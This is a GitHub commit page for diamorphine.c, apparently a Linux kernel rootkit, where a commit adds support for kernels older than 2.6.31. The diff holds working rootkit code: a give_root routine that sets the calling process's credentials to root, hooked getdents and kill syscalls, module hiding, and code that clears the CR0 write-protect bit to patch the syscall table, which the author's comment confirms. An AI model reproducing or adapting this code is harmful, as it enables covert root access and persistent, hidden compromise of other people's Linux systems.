Skip to content

Commit

Permalink
added compatibility with kernels <= 2.6.31
Browse files Browse the repository at this point in the history
  • Loading branch information
m0nad committed Dec 8, 2014
1 parent 1a2fd39 commit af9a0f4
Showing 1 changed file with 33 additions and 26 deletions.
59 changes: 33 additions & 26 deletions diamorphine.c
Original file line number Diff line number Diff line change
Expand Up @@ -3,17 +3,22 @@
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/dirent.h>
#include <linux/fdtable.h>
#include <linux/slab.h>
#include <linux/version.h>
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 10, 0)
#include <linux/proc_ns.h>
#else
#include <linux/proc_fs.h>
#endif
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 26)
#include <linux/file.h>
#else
#include <linux/fdtable.h>
#endif

#include "diamorphine.h"

static pte_t *pte;
unsigned long cr0;
static unsigned long *sys_call_table;
typedef asmlinkage int (*orig_getdents_t)(unsigned int, struct linux_dirent *,
unsigned int);
Expand Down Expand Up @@ -169,25 +174,31 @@ hacked_getdents(unsigned int fd, struct linux_dirent __user *dirent,
void
give_root(void)
{
struct cred *newcreds;
newcreds = prepare_creds();
if (newcreds == NULL)
return;

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \
&& defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \
|| LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
newcreds->uid.val = newcreds->gid.val = 0;
newcreds->euid.val = newcreds->egid.val = 0;
newcreds->suid.val = newcreds->sgid.val = 0;
newcreds->fsuid.val = newcreds->fsgid.val = 0;
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
current->uid = current->gid = 0;
current->euid = current->egid = 0;
current->suid = current->sgid = 0;
current->fsuid = current->fsgid = 0;
#else
newcreds->uid = newcreds->gid = 0;
newcreds->euid = newcreds->egid = 0;
newcreds->suid = newcreds->sgid = 0;
newcreds->fsuid = newcreds->fsgid = 0;
struct cred *newcreds;
newcreds = prepare_creds();
if (newcreds == NULL)
return;
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0) \
&& defined(CONFIG_UIDGID_STRICT_TYPE_CHECKS) \
|| LINUX_VERSION_CODE >= KERNEL_VERSION(3, 14, 0)
newcreds->uid.val = newcreds->gid.val = 0;
newcreds->euid.val = newcreds->egid.val = 0;
newcreds->suid.val = newcreds->sgid.val = 0;
newcreds->fsuid.val = newcreds->fsgid.val = 0;
#else
newcreds->uid = newcreds->gid = 0;
newcreds->euid = newcreds->egid = 0;
newcreds->suid = newcreds->sgid = 0;
newcreds->fsuid = newcreds->fsgid = 0;
#endif
commit_creds(newcreds);
#endif
commit_creds(newcreds);
}

static inline void
Expand Down Expand Up @@ -252,15 +263,13 @@ hacked_kill(pid_t pid, int sig)
static inline void
protect_memory(void)
{
/* Restore kernel memory page protection */
set_pte_atomic(pte, pte_clear_flags(*pte, _PAGE_RW));
write_cr0(cr0);
}

static inline void
unprotect_memory(void)
{
/* Unprotected kernel memory page containing for writing */
set_pte_atomic(pte, pte_mkwrite(*pte));
write_cr0(cr0 & ~0x00010000);
}

static int __init
Expand All @@ -272,9 +281,7 @@ diamorphine_init(void)
if (!sys_call_table)
return -1;

pte = lookup_address((unsigned long)sys_call_table, &level);
if (!pte)
return -1;
cr0 = read_cr0();

module_hide();
tidy();
Expand Down

1 comment on commit af9a0f4

@m0nad
Copy link
Owner Author

@m0nad m0nad commented on af9a0f4 Jan 2, 2015

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We need to do this to change the syscall table

Please sign in to comment.